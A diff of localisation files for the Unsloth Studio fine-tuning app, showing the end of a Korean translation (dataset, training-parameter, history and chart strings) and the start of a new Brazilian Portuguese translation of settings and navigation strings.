+      description: "학습 데이터를 선택하거나 업로드하세요",
+      source: "데이터셋 소스",
+      chooseDataset: "데이터셋 선택",
+      chooseDatasetTooltip:
+        "팝업 탭을 사용해 Hugging Face와 로컬 레시피 출력 간에 전환하세요.",
+      localTab: "로컬",
+      searchHuggingFaceDatasets: "Hugging Face 데이터셋 검색...",
+      searchLocalDatasets: "로컬 데이터셋 검색...",
+      searching: "검색 중...",
+      noDatasetsFound: "데이터셋을 찾을 수 없습니다",
+      loadingLocalDatasets: "로컬 데이터셋을 로딩하는 중...",
+      failedToLoadLocalDatasets: "로컬 데이터셋을 불러오지 못했습니다.",
+      noLocalDatasetsYet: "아직 로컬 데이터셋이 없습니다.",
+      noLocalDatasetsMatchSearch: "검색과 일치하는 로컬 데이터셋이 없습니다.",
+      openDataRecipes: "Data Recipes 열기",
+      browsingSource: "{browsing} 탐색 중. 현재 선택은 {current}로 유지됩니다.",
+      localDatasets: "로컬 데이터셋",
+      localDataset: "로컬 데이터셋",
+      localDatasetRows: " / {count}행",
+      huggingFaceDataset: "Hugging Face 데이터셋",
+      localDatasetMetadata: "로컬 데이터셋 메타데이터",
+      dataRecipeOutput: "Data Recipe 출력.",
+      rows: "행",
+      columns: "열",
+      batches: "배치",
+      updated: "업데이트됨",
+      evalDataset: "평가 데이터셋",
+      uploading: "업로드 중...",
+      upload: "업로드",
+      uploadEvalFile: "평가 파일 업로드",
+      evalDatasetDescription:
+        "선택 사항. 제공하지 않으면 학습 데이터에서 일부가 분할됩니다.",
+      advanced: "고급",
+      targetFormat: "대상 형식",
+      targetFormatTooltip:
+        "학습 데이터의 형식입니다. 자동 감지는 대부분의 데이터셋에서 작동합니다.",
+      auto: "자동",
+      rawText: "원시 텍스트",
+      trainSplitStart: "학습 분할 시작",
+      trainSplitStartTooltip:
+        "시작 행 인덱스(포함, 0부터 시작)를 지정하여 학습 분할의 일부에서만 학습합니다. 첫 행부터 시작하려면 비워 두세요.",
+      trainSplitEnd: "학습 분할 끝",
+      trainSplitEndTooltip:
+        "학습 분할에 포함할 마지막 행 인덱스(포함, 0부터 시작)입니다. 예를 들어 시작을 0, 끝을 99로 설정하면 처음 100행에서 학습합니다. 남은 모든 행을 사용하려면 비워 두세요.",
+      endPlaceholder: "끝",
+      clear: "지우기",
+      dropFileOrClick: "파일 1개를 여기에 놓거나 클릭하여 업로드하세요",
+      viewDataset: "데이터셋 보기",
+      uploadFailed: "업로드에 실패했습니다",
+      unknownError: "알 수 없는 오류",
+      unsupportedFileType: "지원되지 않는 파일 형식",
+      uploadOneFileType: "{types} 파일 하나를 업로드하세요.",
+      datasetUploaded: "데이터셋이 업로드되었습니다",
+      evalDatasetUploaded: "평가 데이터셋이 업로드되었습니다",
+      uploadOneFileAtATime: "한 번에 하나의 파일만 업로드하세요",
+      uploadSingleFileDescription:
+        "학습 데이터셋 업로드는 단일 파일만 받습니다.",
+      checkingToken: "토큰 확인 중...",
+      getOrUpdateToken: "토큰 가져오기 또는 업데이트",
+      preview: "데이터셋 미리보기",
+      split: "분할",
+      subset: "서브셋",
+      s3: {
+        title: "S3 구성",
+        description:
+          "Amazon S3에서 .parquet, .json, .jsonl 또는 .csv 데이터셋을 불러옵니다",
+        bucket: "버킷 이름",
+        bucketPlaceholder: "my-training-data-bucket",
+        region: "AWS 리전",
+        regionPlaceholder: "us-east-1",
+        prefix: "경로 접두사",
+        prefixPlaceholder: "datasets/whisper/",
+        prefixTooltip: "버킷 내 데이터셋 파일에 대한 선택적 경로",
+        accessKeyId: "액세스 키 ID",
+        accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE",
+        secretAccessKey: "시크릿 액세스 키",
+        secretAccessKeyPlaceholder: "AWS 시크릿 액세스 키",
+        useIamRole: "IAM 역할 사용",
+        useIamRoleTooltip:
+          "액세스 키 대신 IAM 역할 자격 증명을 사용합니다(EC2/SageMaker에 권장).",
+        testConnection: "연결 테스트",
+        connectionSuccess: "S3 버킷에 성공적으로 연결되었습니다",
+        connectionFailed: "S3 버킷에 연결하지 못했습니다",
+        comingSoon: "S3 통합 출시 예정",
+        comingSoonDescription:
+          "S3 데이터셋 로딩에는 boto3가 필요합니다. 이 기능은 개발 중입니다.",
+      },
+    },
+    params: {
+      title: "매개변수",
+      description: "학습 하이퍼파라미터를 구성하세요",
+      projectName: "프로젝트 이름",
+      optional: "선택 사항",
+      projectNameDescription:
+        "학습 출력 폴더 이름, 내보내기 기본값 및 기록에 사용됩니다.",
+      loraSettings: "LoRA 설정",
+      trainingHyperparameters: "학습 하이퍼파라미터",
+      maxSteps: "최대 스텝",
+      epochs: "에포크",
+      useMaxSteps: "최대 스텝 사용",
+      useEpochs: "에포크 사용",
+      maxStepsTooltip: "전체 옵티마이저 스텝 수를 재정의합니다.",
+      epochsTooltip: "데이터셋을 완전히 순회하는 횟수입니다.",
+      epochsDescription: "각 에포크는 데이터셋을 한 번 완전히 순회하는 것입니다.",
+      maxStepsDescription:
+        "학습을 고정된 옵티마이저 스텝 수로 제한합니다.",
+      contextLength: "컨텍스트 길이",
+      contextLengthTooltip: "학습 샘플당 최대 토큰 수입니다.",
+      customContextLength: "사용자 지정 값 입력",
+      contextLengthDescription: "학습 샘플의 최대 시퀀스 길이",
+      learningRate: "학습률",
+      learningRateTooltip:
+        "가중치 업데이트의 스텝 크기입니다. 값이 낮을수록 학습이 느리지만 더 안정적입니다.",
+      learningRateDescription:
+        "권장값: LoRA는 2e-4, CPT는 5e-5, 전체 파인튜닝은 2e-5",
+      embeddingLearningRate: "임베딩 학습률",
+      embeddingLearningRateTooltip:
+        "CPT가 embed_tokens를 학습할 때만 사용됩니다. 임베딩은 LoRA 가중치보다 불안정해지기 쉬우므로 보통 더 작은 학습률이 필요합니다. 비워 두면 lr/10을 사용하며, 일반적인 범위는 주 학습률보다 2배~10배 작습니다. 어휘 또는 도메인 토큰 적응이 너무 느릴 때만 높이세요.",
+      embeddingLearningRateDescription:
+        "비워 두면 lr/10을 사용합니다(권장). 일반적인 범위는 주 학습률보다 2배~10배 작습니다.",
+      rank: "랭크",
+      rankTooltip:
+        "저랭크 행렬의 차원입니다. 높을수록 용량이 커집니다.",
+      alpha: "알파",
+      alphaTooltip: "LoRA 업데이트의 스케일링 계수입니다. 보통 랭크의 2배입니다.",
+      dropout: "드롭아웃",
+      dropoutTooltip:
+        "과적합을 줄이기 위한 LoRA 레이어의 드롭아웃 확률입니다.",
+      visionLayers: "비전 레이어",
+      languageLayers: "언어 레이어",
+      attentionModules: "어텐션 모듈",
+      mlpModules: "MLP 모듈",
+      targetModules: "대상 모듈",
+      enableLora: "LoRA 활성화",
+      trainWithLora: "LoRA로 학습",
+      stableRank: "안정 랭크",
+      memoryEfficient: "메모리 효율적",
+      optimization: "최적화",
+      schedule: "스케줄",
+      memory: "메모리",
+      optimizer: "옵티마이저",
+      optimizerTooltip:
+        "최적화 알고리즘입니다. 8비트 변형은 메모리 사용량을 줄입니다. 비전 모델에는 Fused가 권장됩니다.",
+      lrScheduler: "LR 스케줄러",
+      lrSchedulerTooltip:
+        "학습 중 학습률이 변하는 방식입니다. Linear는 꾸준히 감소하고, Cosine은 곡선으로 감소합니다.",
+      optimizerOptions: {
+        adamw8bit: "AdamW 8-bit",
+        pagedAdamw8bit: "Paged AdamW 8-bit",
+        adamwBnb8bit: "AdamW BNB 8-bit",
+        pagedAdamw32bit: "Paged AdamW 32-bit",
+        adamwTorch: "AdamW (PyTorch)",
+        adamwTorchFused: "AdamW (PyTorch Fused)",
+      },
+      lrSchedulerOptions: {
+        linear: "Linear",
+        cosine: "Cosine",
+      },
+      batchSize: "배치 크기",
+      batchSizeTooltip:
+        "스텝당 처리되는 샘플 수입니다. 높을수록 더 많은 VRAM을 사용합니다.",
+      gradAccum: "그래디언트 누적",
+      gradAccumTooltip: "추가 VRAM 없이 더 큰 배치 크기를 시뮬레이션합니다.",
+      weightDecay: "가중치 감쇠",
+      weightDecayTooltip: "과적합을 방지하기 위한 L2 정규화입니다.",
+      warmupSteps: "워밍업 스텝",
+      warmupStepsTooltip:
+        "안정성을 위해 학습 시작 시 학습률을 점진적으로 높입니다.",
+      scheduleEpochsTooltip:
+        "데이터셋을 완전히 순회하는 횟수입니다. 최대 스텝으로 실행하려면 0으로 설정하세요.",
+      saveSteps: "저장 스텝",
+      saveStepsTooltip: "N 스텝마다 체크포인트를 저장합니다. 0이면 비활성화됩니다.",
+      evalSteps: "평가 스텝",
+      evalStepsTooltip:
+        "평가 사이의 간격을 전체 학습 스텝 수의 비율로 나타냅니다(0-1). 0으로 설정하면 평가가 비활성화됩니다. 예: 0.01 = 스텝의 1%마다 평가.",
+      seed: "시드",
+      seedTooltip: "재현성을 위한 랜덤 시드입니다.",
+      gradCheckpoint: "그래디언트 체크포인트",
+      gradCheckpointTooltip:
+        "활성화를 재계산하여 연산으로 메모리를 절약합니다.",
+      none: "없음",
+      standard: "표준",
+      enablePacking: "패킹 활성화",
+      assistantCompletionsOnly: "어시스턴트 응답만",
+      readMore: "더 알아보기",
+    },
+    training: {
+      title: "학습",
+      description: "학습을 모니터링하고 제어합니다",
+      chartNoDataTitle: "아직 학습 데이터가 없습니다",
+      chartNoDataDescription: "학습을 시작하면 loss 진행 상황을 볼 수 있습니다",
+      startTraining: "학습 시작",
+      starting: "시작 중...",
+      loadingModel: "모델을 로딩하는 중...",
+      checkingDataset: "데이터셋을 확인하는 중...",
+      configLabel: "학습 구성",
+      upload: "업로드",
+      uploadConfigTooltip: "저장된 YAML 구성 불러오기",
+      save: "저장",
+      saveConfigTooltip: "현재 구성을 YAML로 다운로드",
+      reset: "재설정",
+      resetConfigTooltip: "모델 기본값으로 재설정",
+      configLoaded: "구성이 로드되었습니다",
+      failedToLoadConfig: "구성을 불러오지 못했습니다",
+      invalidYamlFile: "잘못된 YAML 파일입니다",
+      failedToReadFile: "파일을 읽지 못했습니다",
+      parametersReset: "매개변수가 모델 기본값으로 재설정되었습니다",
+      audioIncompatible:
+        "이 모델은 오디오를 지원하지 않습니다. 오디오를 지원하는 모델로 전환하거나 오디오가 아닌 데이터셋을 선택하세요.",
+      visionIncompatible:
+        "텍스트 모델은 멀티모달 데이터셋과 호환되지 않습니다. 비전 모델로 전환하거나 텍스트 전용 데이터셋을 선택하세요.",
+      cancelTitle: "학습 취소",
+      cancelDescription: "현재 학습 실행을 취소하시겠습니까?",
+      continueAction: "학습 계속",
+      cancelAction: "학습 취소",
+      stopTitle: "학습 중지",
+      stopDescription: "현재 학습 실행을 중지하는 방법을 선택하세요.",
+      stopAction: "중지",
+      stopping: "중지 중...",
+      stopAndSave: "중지 후 저장",
+      compareInChat: "채팅에서 비교",
+      exportModel: "모델 내보내기",
+      milestone: "마일스톤",
+      halfwayDone: "절반 완료. 학습이 50%를 넘었습니다.",
+      doneNextStep:
+        "학습 완료. 다음 단계: 기본 모델과 파인튜닝된 모델의 출력을 비교하세요.",
+    },
+    history: {
+      title: "기록",
+      emptyTitle: "아직 학습 실행이 없습니다",
+      emptyDescription:
+        "아직 학습 실행이 없습니다. 구성 탭에서 첫 학습 실행을 시작하세요.",
+      loadError: "학습 실행을 불러오지 못했습니다",
+      deleteError: "학습 실행을 삭제하지 못했습니다. 다시 시도하세요.",
+      retry: "다시 시도",
+      loadMore: "더 불러오기",
+      loading: "로딩 중...",
+      loadingRun: "학습 실행을 로딩하는 중...",
+      runNotFound: "실행을 찾을 수 없습니다",
+      deleteTitle: "학습 실행을 삭제하시겠습니까?",
+      deleteDescription:
+        "이 학습 실행과 모든 지표가 영구적으로 삭제됩니다. 이 작업은 되돌릴 수 없습니다.",
+      runCount: "{count}개의 실행",
+      oneRun: "1개의 실행",
+      resume: "재개",
+      resumeTraining: "학습 재개",
+      resuming: "재개 중...",
+      deleteRun: "실행 삭제",
+      loss: "Loss",
+      steps: "스텝",
+      lossTrendSparkline: "Loss 추세 스파크라인",
+      relativeJustNow: "방금",
+      relativeMinutesAgo: "{count}분 전",
+      relativeHoursAgo: "{count}시간 전",
+      relativeDaysAgo: "{count}일 전",
+      status: {
+        completed: "완료됨",
+        stopped: "중지됨",
+        error: "오류",
+        running: "실행 중",
+        continued: "계속됨",
+      },
+      message: {
+        completed: "학습이 완료되었습니다",
+        stopped: "학습이 중지되었습니다",
+        running: "학습 진행 중",
+        errored: "학습에 오류가 발생했습니다",
+      },
+      copyPreviewLink: "미리보기 링크 복사",
+      previewLinkCopied: "미리보기 링크가 복사되었습니다",
+      previewLinkCopyFailed: "링크를 복사하지 못했습니다",
+    },
+    charts: {
+      settings: "차트 설정",
+      settingsDescription:
+        "학습이 계속 실행되는 동안 차트 표시를 조정합니다.",
+      openSettings: "차트 설정 열기",
+      viewWindow: "보기 창",
+      viewWindowDescription: "최신 스텝만 또는 전체 기록을 표시합니다.",
+      window: "창",
+      all: "전체",
+      trainingLoss: "학습 손실",
+      trainingLossDescription: "오버레이와 EMA 평활화를 제어합니다.",
+      smoothing: "평활화",
+      smoothingDescription: "오른쪽으로 이동하면 평활화가 증가합니다. `0` = 원시 값.",
+      showRawLoss: "원시 loss 표시",
+      showSmoothedLoss: "평활화된 loss 표시",
+      showAverageLine: "평균선 표시",
+      scaleAndCleanup: "스케일 및 정리",
+      linear: "선형",
+      log: "로그",
+      noClip: "클립 없음",
+      clipP99: "p99 클립",
+      clipP95: "p95 클립",
+      lossAxis: "손실 축",
+      gradientNormAxis: "그래디언트 노름 축",
+      learningRateAxis: "학습률 축",
+      resetDefaults: "기본값 재설정",
+      loss: "Loss",
+      smoothed: "평활화됨",
+      evalLoss: "평가 Loss",
+      learningRate: "학습률",
+      lr: "LR",
+      gradNorm: "그래디언트 노름",
+      gradientNorm: "그래디언트 노름",
+      step: "스텝 {step}",
+      averageValue: "평균 {value}",
+      waitingForFirstEvaluationStep: "첫 평가 스텝을 기다리는 중...",
+      evaluationNotConfigured: "평가가 구성되지 않았습니다",
+      evalChartWillAppear: "eval_steps에 도달하면 차트가 표시됩니다",
+      setEvalDatasetAndSteps:
+        "평가 loss를 추적하려면 평가 데이터셋과 eval_steps를 설정하세요",
+    },
+    progress: {
+      title: "학습 진행률",
+      liveMetrics: "실시간 학습 지표",
+      exportGguf: "GGUF로 내보내기",
+      openConfig: "학습 구성 열기",
+      configLabel: "학습 구성",
+      hyperparams: "하이퍼파라미터",
+      epochs: "에포크",
+      batchSize: "배치 크기",
+      learningRate: "학습률",
+      optimizer: "옵티마이저",
+      maxSteps: "최대 스텝",
+      contextLength: "컨텍스트 길이",
+      warmupSteps: "워밍업 스텝",
+      rank: "랭크",
+      alpha: "알파",
+      dropout: "드롭아웃",
+      variant: "변형",
+      epoch: "에포크 {value}",
+      percentComplete: "{percent}% 완료",
+      stepProgress: "스텝 {current} / {total}",
+      loss: "Loss",
+      lr: "LR",
+      gradNorm: "그래디언트 노름",
+      project: "프로젝트",
+      model: "모델",
+      method: "방법",
+      elapsed: "경과: {value}",
+      eta: "ETA: {value}",
+      stepsPerSecond: "{value} 스텝/초",
+      noStepsPerSecond: "-- 스텝/초",
+      tokens: "토큰: {value}",
+      gpuMonitor: "GPU 모니터",
+      live: "실시간",
+      utilization: "사용률",
+      temperature: "온도",
+      vram: "VRAM",
+      power: "전력",
+      phase: {
+        idle: "유휴",
+        downloadingModel: "모델 다운로드 중",
+        downloadingDataset: "데이터셋 다운로드 중",
+        loadingModel: "모델 로딩 중",
+        loadingDataset: "데이터셋 로딩 중",
+        configuring: "구성 중",
+        training: "학습 중",
+        completed: "완료됨",
+        error: "오류",
+        stopped: "중지됨",
+      },
+    },
+    trainingStart: {
+      ready: "준비됨",
+      downloading: "다운로드 중",
+      preparing: "준비 중",
+      left: "{eta} 남음",
+      downloaded: "{size} 다운로드됨",
+      terminalStart: "> unsloth 학습을 시작합니다...",
+      preparingResources: "> 모델과 데이터셋을 준비하는 중...",
+      gettingReady: "> 실행을 위한 모든 준비를 하는 중...",
+      waitingForFirstStep: "> {message} | 첫 스텝을 기다리는 중... ({step})",
+      resumingTraining: "학습을 재개하는 중...",
+      startingTraining: "학습을 시작하는 중...",
+      dataset: "데이터셋",
+      datasetStreaming: "데이터셋: 스트리밍(전체 다운로드 없음)",
+      modelWeights: "모델 가중치",
+    },
+    tour: {
+      guidedTour: "가이드 투어",
+    },
+  },
+} satisfies DeepPartialMessageTree<typeof en>;
diff --git a/studio/frontend/src/i18n/locales/pt-br.ts b/studio/frontend/src/i18n/locales/pt-br.ts
new file mode 100644
index 0000000000..07832ef1d0
--- /dev/null
+++ b/studio/frontend/src/i18n/locales/pt-br.ts
@@ -0,0 +1,1100 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { DeepPartialMessageTree } from "../types";
+import type { en } from "./en";
+
+export const ptBR = {
+  common: {
+    cancel: "Cancelar",
+    close: "Fechar",
+    delete: "Excluir",
+    done: "Concluído",
+    error: "Erro",
+    export: "Exportar",
+    help: "Ajuda",
+    loading: "Carregando...",
+    new: "Novo",
+    rename: "Renomear",
+    save: "Salvar",
+    saving: "Salvando...",
+    search: "Buscar",
+    shutdown: "Desligar",
+  },
+  shell: {
+    beta: "BETA",
+    brand: "unsloth",
+    product: "Unsloth Studio",
+    accountMenu: "Menu de conta {name}",
+    updateAvailable: "Atualização disponível",
+    aria: {
+      home: "Início do Unsloth",
+      closeSidebar: "Fechar barra lateral",
+      openSidebar: "Abrir barra lateral",
+      chatOptions: "Opções de chat",
+      runOptions: "Opções de execução",
+    },
+    navigation: {
+      newChat: "Novo Chat",
+      returnToChat: "Retornar ao Chat",
+      compare: "Comparar",
+      search: "Buscar",
+      hub: "Hub",
+      train: "Treinar",
+      recipes: "Receitas",
+      export: "Exportar",
+      recents: "Recentes",
+      noChatsYet: "Nenhum chat ainda",
+      settings: "Configurações",
+      api: "API",
+      lightMode: "Modo Claro",
+      darkMode: "Modo Escuro",
+      guidedTour: "Tour Guiado",
+      help: "Ajuda",
+      logOut: "Sair",
+      shutdown: "Desligar",
+    },
+    notFound: {
+      title: "Página não encontrada",
+      description: "{path} não existe.",
+      backToChat: "Voltar para o chat",
+    },
+    dialog: {
+      deleteChat: {
+        title: "Excluir chat",
+        description: 'Tem certeza de que deseja excluir este chat "{name}"?',
+      },
+      deleteRun: {
+        title: "Excluir execução de treino",
+        description: 'Tem certeza de que deseja excluir esta execução "{name}"?',
+      },
+      renameChat: {
+        title: "Renomear chat",
+        placeholder: "Título do chat",
+      },
+      renameRun: {
+        title: "Renomear execução",
+        placeholder: "Nome da execução",
+      },
+    },
+    toast: {
+      cannotDeleteRunningRun: "Não é possível excluir uma execução de treino em andamento",
+      failedToDeleteChat: "Falha ao excluir o chat",
+      failedToDeleteRun: "Falha ao excluir a execução",
+      failedToRenameChat: "Falha ao renomear o chat",
+      failedToRenameRun: "Falha ao renomear a execução",
+    },
+  },
+  settings: {
+    title: "Configurações",
+    dialog: {
+      title: "Configurações",
+      description: "Gerencie suas preferências do Unsloth.",
+      closeAriaLabel: "Fechar configurações",
+      searchPlaceholder: "Pesquisar configurações…",
+      searchNoResults: "Nenhuma configuração encontrada.",
+    },
+    tabs: {
+      general: "Geral",
+      profile: "Perfil",
+      appearance: "Aparência",
+      resources: "Sistema",
+      chat: "Chat",
+      connections: "Conexões",
+      apiKeys: "API",
+      about: "Sobre",
+      voice: "Voz",
+    },
+    general: {
+      title: "Geral",
+      description: "Preferências globais do Unsloth.",
+      account: "Conta",
+      huggingFaceToken: "Token do Hugging Face",
+      huggingFaceTokenDescription:
+        "Usado para carregar modelos restritos e enviar artefatos.",
+      tokenSaved: "Token salvo",
+      hideToken: "Ocultar token",
+      showToken: "Mostrar token",
+      password: "Senha",
+      passwordDescription: "Altere a senha desta conta do Unsloth.",
+      passwordDialog: {
+        trigger: "Alterar senha",
+        title: "Alterar senha",
+        description:
+          "Insira sua senha atual e escolha uma nova (no mínimo {minLength} caracteres).",
+        currentPassword: "Senha atual",
+        newPassword: "Nova senha",
+        confirmPassword: "Confirmar nova senha",
+        currentTooShort:
+          "A senha atual deve ter no mínimo {minLength} caracteres.",
+        newTooShort: "A nova senha deve ter no mínimo {minLength} caracteres.",
+        mismatch: "As senhas não coincidem.",
+        samePassword:
+          "A nova senha deve ser diferente da senha atual.",
+        update: "Atualizar senha",
+        updating: "Atualizando...",
+        updated: "Senha atualizada.",
+        updateFailed: "Falha ao atualizar a senha.",
+      },
+      chatDefaults: "Padrões do chat",
+      autoTitleNewChats: "Gerar título automático para novos chats",
+      autoTitleNewChatsDescription:
+        "Gera um título curto a partir da primeira mensagem.",
+      helperLlm: {
+        sectionTitle: "LLM Auxiliar",
+        preloadOnStartup: "Pré-carregar LLM Auxiliar na inicialização",
+        preloadOnStartupDescription:
+          "Baixa o modelo auxiliar do Assistente de IA em segundo plano ao iniciar. Desativado por padrão; o Assistente de IA ainda pode buscá-lo sob demanda.",
+        disabledByEnv:
+          "Desativado por UNSLOTH_HELPER_MODEL_DISABLE no ambiente de backend.",
+        loadError: "Falha ao carregar as configurações do LLM Auxiliar.",
+        saveError: "Falha ao salvar as configurações do LLM Auxiliar.",
+      },
+      modelAutoSwitch: {
+        sectionTitle: "Troca automática de modelo (API OpenAI)",
+        enable: "Trocar de modelo por requisição",
+        enableDescription:
+          "Quando uma requisição compatível com OpenAI nomear um GGUF baixado diferente, carrega-o antes de responder. Desativado por padrão; nomes desconhecidos continuam usando o modelo carregado.",
+        idleUnload: "Descarregamento automático por inatividade",
+        idleUnloadDescription:
+          "Descarrega o modelo após esta quantidade de segundos de inatividade para liberar VRAM; a próxima requisição o recarrega. 0 mantém o modelo carregado.",
+        idleNeedsEnable:
+          "Ative Trocar de modelo por requisição para que um modelo descarregado seja recarregado no próximo uso.",
+        idleActiveViaEnv:
+          "O descarregamento automático por inatividade está ativo por meio da variável de ambiente UNSLOTH_MODEL_IDLE_TTL.",
+        loadError: "Falha ao carregar as configurações de troca automática de modelo.",
+        saveError: "Falha ao salvar as configurações de troca automática de modelo.",
+        idleError: "Insira um número inteiro de segundos (0 ou mais).",
+      },
+      previewSharing: {
+        sectionTitle: "Compartilhamento de pré-visualização",
+        enableLabel: "Links públicos de pré-visualização",
+        enableDescription:
+          "Permite que qualquer pessoa com um link assinado converse com um modelo concluído, sem necessidade de login. Desative para tirar a superfície de pré-visualização pública do ar; os links compartilhados param de funcionar.",
+        loadError: "Falha ao carregar as configurações de compartilhamento de pré-visualização.",
+        saveError: "Falha ao salvar as configurações de compartilhamento de pré-visualização.",
+        revokeLabel: "Revogar todos os links de pré-visualização",
+        revokeDescription:
+          "Rotaciona o segredo de assinatura para que todos os links que você compartilhou parem de funcionar. Links copiados recentemente continuam funcionando.",
+        revokeAction: "Revogar links",
+        revoking: "Revogando...",
+        revokeConfirmTitle: "Revogar todos os links de pré-visualização?",
+        revokeConfirmDescription:
+          "Todos os links de pré-visualização que você compartilhou pararão de funcionar imediatamente. Isso não pode ser desfeito.",
+        revokeConfirmAction: "Revogar todos os links",
+        revoked: "Todos os links de pré-visualização foram revogados",
+        revokeError: "Não foi possível revogar os links de pré-visualização",
+      },
+      notifications: {
+        sectionTitle: "Notificações",
+        showLlamaUpdates: "Notificações de atualização do llama.cpp",
+        showLlamaUpdatesDescription:
+          "Notifica quando uma nova versão do llama.cpp estiver disponível. Desative se você apenas realiza treinos.",
+      },
+      gettingStarted: "Primeiros passos",
+      startOnboarding: "Iniciar integração",
+      startOnboardingDescription:
+        "Reabre o assistente de configuração sem alterar sua conta.",
+      startOnboardingAction: "Iniciar integração",
+      uploads: {
+        sectionTitle: "Uploads",
+        maxUploadSize: "Limite de upload do dataset de treino",
+        maxUploadSizeDescription:
+          "O padrão é {defaultSize} MB.",
+      },
+      rag: {
+        sectionTitle: "Documentos e RAG",
+        embeddingModel: "Modelo de embedding",
+        embeddingModelDescription:
+          "Modelo do Hugging Face ou caminho local usado para indexar e buscar seus documentos. O padrão é {defaultModel}.",
+        reindexWarning:
+          "Afeta apenas documentos recém-indexados. Reenvie os documentos existentes após alterar o modelo.",
+        emptyError: "Insira um id de modelo do Hugging Face ou um caminho local.",
+        loadError: "Falha ao carregar a configuração do modelo de embedding.",
+        saveError: "Falha ao salvar o modelo de embedding.",
+        saved: "Modelo de embedding salvo.",
+        saveAnyway: "Salvar mesmo assim",
+        resetAction: "Redefinir para o padrão",
+      },
+      storage: {
+        sectionTitle: "Armazenamento",
+        modelsFolder: "Pasta de modelos",
+        modelsFolderDescription:
+          "Onde os modelos baixados são armazenados.",
+        openAction: "Abrir",
+        copyAction: "Copiar caminho",
+        copied: "Caminho copiado",
+        openError: "Não foi possível abrir a pasta",
+        copyError: "Não foi possível copiar o caminho",
+      },
+      resetPreferences: {
+        sectionTitle: "Zona de perigo",
+        label: "Redefinir todas as preferências locais",
+        description:
+          "Limpa apenas as preferências locais. Chats, acesso à API e configurações salvas no banco de dados são mantidos.",
+        action: "Redefinir preferências",
+        confirmTitle: "Redefinir todas as preferências locais?",
+        confirmDescription:
+          "Limpa as preferências locais e recarrega o Unsloth. Chats, acesso à API e configurações salvas no banco de dados são mantidos.",
+        confirmAction: "Redefinir e recarregar",
+      },
+    },
+    profile: {
+      title: "Perfil",
+      description: "Como seu perfil aparece no Unsloth.",
+      changePicture: "Alterar foto de perfil",
+      displayName: "Nome de exibição",
+      nickname: "Como o Unsloth deve chamar você?",
+      nicknamePlaceholder: "Apelido",
+      nicknameSaved: "Nome preferido salvo",
+      avatarShape: "Formato da foto de perfil",
+      avatarShapeCircle: "Círculo",
+      avatarShapeRounded: "Arredondado",
+      greetingSloth: "Preguiça na saudação",
+      greetingSlothDescription: "Mostra a preguiça na saudação do chat.",
+      chooseSloth: "Ou escolha uma preguiça como foto de perfil",
+      noPicture: "Sem foto de perfil",
+      noneLabel: "Nenhuma",
+      nameSaved: "Nome de perfil salvo",
+      namePersistErrorTitle: "Não foi possível persistir o nome de perfil",
+      namePersistErrorDescription:
+        "Nome atualizado para esta sessão, mas pode não persistir após recarregar.",
+      photoUpdated: "Foto de perfil atualizada",
+      photoPersistErrorTitle: "Não foi possível persistir a foto de perfil",
+      photoPersistErrorDescription:
+        "Foto atualizada para esta sessão, mas pode não persistir após recarregar.",
+      photoUpdateErrorTitle: "Não foi possível atualizar a foto de perfil",
+      imageUseError: "Não foi possível usar esta imagem.",
+    },
+    appearance: {
+      title: "Aparência",
+      description: "Como o Unsloth Studio se parece neste dispositivo.",
+      theme: {
+        title: "Tema",
+        label: "Esquema de cores",
+        description: "Claro, escuro ou seguir o sistema.",
+        system: "Sistema",
+        light: "Claro",
+        dark: "Escuro",
+      },
+      palette: {
+        label: "Paleta de cores",
+        description: "Cores usadas no Unsloth, nos modos claro e escuro.",
+        standard: "Padrão",
+        classic: "Clássico",
+        minimal: "Minimalista",
+      },
+      custom: {
+        reset: "Redefinir",
+        resetAll: "Redefinir personalização",
+        preferencesTitle: "Preferências",
+        colors: {
+          lightGroup: "Tema claro",
+          darkGroup: "Tema escuro",
+          accent: "Destaque",
+          background: "Fundo",
+          foreground: "Texto",
+        },
+        fontDefault: "Padrão",
+        fontBundledGroup: "Integradas",
+        fontImportedGroup: "Importadas",
+        fontDeviceGroup: "Neste dispositivo",
+        fontFolderGroup: "Da pasta",
+        fontDeviceLoading: "Procurando fontes do dispositivo…",
+        fontSearch: "Buscar fontes…",
+        fontNoResults: "Nenhuma fonte encontrada.",
+        colorPicker: {
+          hue: "Matiz",
+          hex: "Cor hexadecimal",
+          eyedropper: "Escolher uma cor da tela",
+        },
+        uiFont: {
+          label: "Fonte da interface",
+        },
+        headingFont: {
+          label: "Fonte de títulos",
+        },
+        chatFont: {
+          label: "Fonte do chat",
+        },
+        codeFont: {
+          label: "Fonte de código",
+        },
+        importFont: {
+          upload: "Enviar",
+          scanFolder: "Selecionar pasta",
+          alreadyAvailable: "Esta fonte já está disponível, então a cópia existente será usada.",
+          folderNoFonts: "Nenhum arquivo de fonte encontrado nessa pasta.",
+          remove: "Remover",
+          errorInvalidType:
+            "Tipo de arquivo não suportado. Use .woff2, .woff, .ttf ou .otf.",
+          errorTooLarge: "O arquivo de fonte é muito grande (máx. 1,5 MB).",
+          errorLimit: "Você pode importar até 3 fontes.",
+          errorStorageFull: "Sem espaço de armazenamento local para esta fonte. Remova uma fonte importada primeiro.",
+          errorFailed: "Não foi possível carregar este arquivo de fonte.",
+        },
+        uiFontSize: {
+          label: "Tamanho da fonte da interface",
+          description: "Ajuste o tamanho base da interface do Unsloth.",
+        },
+        codeFontSize: {
+          label: "Tamanho da fonte de código",
+          description: "Ajuste o tamanho base do código.",
+        },
+        fontSmoothing: {
+          label: "Suavização de fonte",
+          description: "Usar anti-aliasing suavizado nas fontes.",
+        },
+        contrast: {
+          label: "Contraste",
+          description: "Intensidade das bordas e do texto secundário.",
+        },
+        reduceMotion: {
+          label: "Reduzir movimento",
+          description: "Reduza as animações ou siga o sistema.",
+          system: "Sistema",
+          on: "Ativado",
+          off: "Desativado",
+        },
+        pointerCursors: {
+          label: "Usar cursor de ponteiro",
+          description:
+            "Muda o cursor para ponteiro ao passar sobre elementos interativos.",
+        },
+      },
+      language: {
+        title: "Idioma",
+        label: "Idioma de exibição",
+        description: "O idioma utilizado pelo Unsloth.",
+        autoDetect: "Detecção automática",
+      },
+      layout: {
+        title: "Layout",
+        compactSidebar: "Fixar barra lateral por padrão",
+        compactSidebarDescription:
+          "Mantém a barra lateral expandida em vez de recolhê-la em ícones.",
+      },
+      sidebarMenu: {
+        title: "Menu da barra lateral",
+        description:
+          "Mostre, oculte e reordene os itens do menu de perfil da barra lateral. Configurações, Ajuda, Sair e Desligar permanecem fixos.",
